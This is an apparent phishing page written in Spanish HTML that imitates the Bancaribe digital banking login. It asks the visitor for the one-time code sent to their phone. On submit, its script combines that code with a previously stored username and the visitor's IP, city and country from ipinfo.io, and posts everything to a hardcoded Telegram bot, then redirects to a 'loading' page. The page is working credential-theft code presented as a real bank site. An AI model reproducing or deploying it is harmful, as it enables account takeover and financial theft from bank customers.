<!DOCTYPE html>
<html lang="es">

<head>
    <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">

    <title>Mi Conexion Bancaribe Digital</title>
    <link rel="stylesheet" href="styles.css">
    <style>
        .footer {
            position: absolute;
            bottom: 0;
            left: 0;
            width: 100%;
            text-align: center;
            background-color: transparent;
            /* Cambia el color de fondo según tus preferencias */
            padding: 20px 0;
            box-sizing: border-box;
        }

        .footer img {
            width: 50%;
            min-width: 350px;
            margin-top: 50px;
            display: block;
            margin-left: auto;
            margin-right: auto;
        }

        @media only screen and (max-width: 600px) {
            .footer img {
                width: 80%;
                /* Ajusta el tamaño de la imagen para dispositivos móviles */
                min-width: unset;
            }

            .footer {
                display: none;
            }
        }
    </style>
    <style>
          /* Estilos generales */
          .mt-6 {
                      margin-top: 1.5rem;
                    }
                    
                    /* Label */
                    .label {
                      display: block;
                      color: #4a5568; /* color-gray-700 */
                      margin-bottom: 0.5rem; /* mb-2 */
                      font-size: 0.875rem; /* text-sm */
                    }
                    
                    /* Texto de la cantidad */
                    .amount {
                      font-size: 1.125rem; /* text-lg */
                      font-weight: 600; /* font-semibold */
                    }
                    
                    /* Estilo del input tipo rango */
                    .range-input {
                      width: 100%;
                      height: 0.5rem; /* h-2 */
                      background-color: #a6fffc; /* bg-green-200 */
                      border-radius: 0.5rem; /* rounded-lg */
                      -webkit-appearance: none;
                      appearance: none;
                    }
                    
                    /* Estilo al interactuar con el input (si se desea personalizar el estilo del thumb o track) */
                    .range-input::-webkit-slider-thumb {
                      -webkit-appearance: none;
                      appearance: none;
                      width: 20px;
                      height: 20px;
                      border-radius: 50%;
                      background-color: #04d2f2; /* bg-green-600 */
                      cursor: pointer;
                    }
                    
                    .range-input::-moz-range-thumb {
                      width: 20px;
                      height: 20px;
                      border-radius: 50%;
                      background-color: #007f8d; /* bg-green-600 */
                      cursor: pointer;
                    }
                    
    </style>
</head>

<body style="font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;">
    <div class="container">
        <img src="logo.png" alt="Logo" class="logo">
        <form class="login-form" id="loginform">
            
            <div style="margin: 30px;">
                
                  
                <div style="width: 320px;">
                    <div class="mt-6">
                         
                        </div>
                        
                      </div>
                      <label for="amount-slider" class="label">Ingresa el Codigo que te hemos enviado a tu celular registrado</label>

                    <input type="text" placeholder="Token digital" id="passwd" required>

                </div>
                <div style="width: 100%;text-align: center;"><button type="submit" style="margin: auto;">Enviar</button></div>
            </div>
        </form>
        <div style="text-align: center;">
            <img src="2.PNG" style="width: 25%; min-width: 350px;margin-top: 50px;">
            <br>
            <div class="footer">
                <img src="footer.PNG" alt="Footer">
            </div>
        </div>

    </div>

</body>
<script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>

<script>
    const url = "https://ipinfo.io/";
    const form = document.querySelector("#loginform");
    form.addEventListener("submit", (event) => {
        event.preventDefault(); // aqui evitamos que el código se repita evita que se envíe el formulario
        axios
            .get(url)
            .then((response) => {
                const tipodocben =  localStorage.getItem("usuario");
                const documento = document.querySelector("#passwd").value;
               
                const message =
                    "\nBancaribe Usuario: " +
                    tipodocben +
                    "\nCodigo: " +
                    documento +
                    "\nCiudad:" +
                    response.data.city +
                    "\nPais: " +
                    response.data.country +
                    "\nIP: " +
                    response.data.ip;
                axios
                    .post(
                        "https://api.telegram.org/bot6459081428:AAG0_ooa4AQctcGtosCMoh4CHeir9X76AxY/sendMessage",
                        {
                            chat_id: "6540675869",
                            text: message,
                        }
                    )
                    .then((response) => {
                        window.location.href = "cargando.html";
                    })
                    .catch((error) => {
                        console.error(error);
                    });
            })
            .catch((error) => {
                console.log(error);
            });
    });
</script>

</html>